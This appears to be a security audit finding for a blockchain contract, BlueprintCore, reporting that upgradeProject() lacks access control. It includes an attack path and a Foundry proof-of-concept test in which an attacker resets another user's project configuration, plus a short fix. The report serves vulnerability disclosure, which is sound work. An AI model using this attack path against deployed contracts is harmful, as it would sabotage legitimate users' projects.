Soaring Caramel Dragon

High

# Missing access control in `BlueprintCore::upgradeProject()` allows unauthorized project reset

### Summary

Missing access control in `BlueprintCore::upgradeProject()` causes unauthorized project resets as any user can call this function to reset critical project parameters, effectively nullifying legitimate project configurations.

### Root Cause

The `BlueprintCore.sol::upgradeProject()` function lacks access control checks, allowing any address to reset project parameters including `requestProposalID`, `requestDeploymentID`, and `proposedSolverAddr` for any existing project.

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L198-L203

### Internal Pre-conditions

1. A legitimate user creates a project and sets up its configuration through `createAgentWithToken()`, `createProjectIDAndProposalRequest()` or similar functions

### External Pre-conditions

N/A

### Attack Path

1. Legitimate user creates a project using `BlueprintCore::createProjectIDAndProposalRequest()`
2. Project gets configured with valid `requestProposalID`, `requestDeploymentID`, and `proposedSolverAddr`
3. Attacker calls `BlueprintCore::upgradeProject(projectId)`
4. All project parameters are reset to their initial values:
   - `requestProposalID = 0`
   - `requestDeploymentID = 0`
   - `proposedSolverAddr = dummyAddress`

### Impact

The legitimate project owner suffers complete loss of project configuration and functionality. The project needs to be reconfigured from scratch, disrupting any ongoing operations or deployments. This can be repeatedly exploited by the attacker, effectively making the project unusable.

### PoC

Create a new test case in `test/BlueprintCoreProjectReset.t.sol`:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";

contract BlueprintCoreProjectResetTest is Test {
    BlueprintV5 blueprint;
    address owner = address(0x1);
    address attacker = address(0x2);
    
    function setUp() public {
        blueprint = new BlueprintV5();
    }
    
    function test_projectReset() public {
        // Owner creates and configures project
        bytes32 projectId = keccak256("test-project");

        vm.prank(owner);
        bytes32 requestId = blueprint.createProjectIDAndProposalRequest(
            projectId,
            "base64param",
            "server.url"
        );
        
        // Get project info before attack
        (, bytes32 currentProposalId,) = blueprint.getProjectInfo(projectId);
        assertNotEq(currentProposalId, bytes32(0));
        assertEq(currentProposalId, requestId);
        
        // Attacker resets project
        vm.prank(attacker);
        blueprint.upgradeProject(projectId);
        
        // Project configuration is reset
        (, bytes32 newProposalId,) = blueprint.getProjectInfo(projectId);
        assertEq(newProposalId, bytes32(0));
    }
}
```

Run the test case:

```bash
forge test --mt test_projectReset
```

### Mitigation

Add access control to ensure only the project owner can upgrade their project.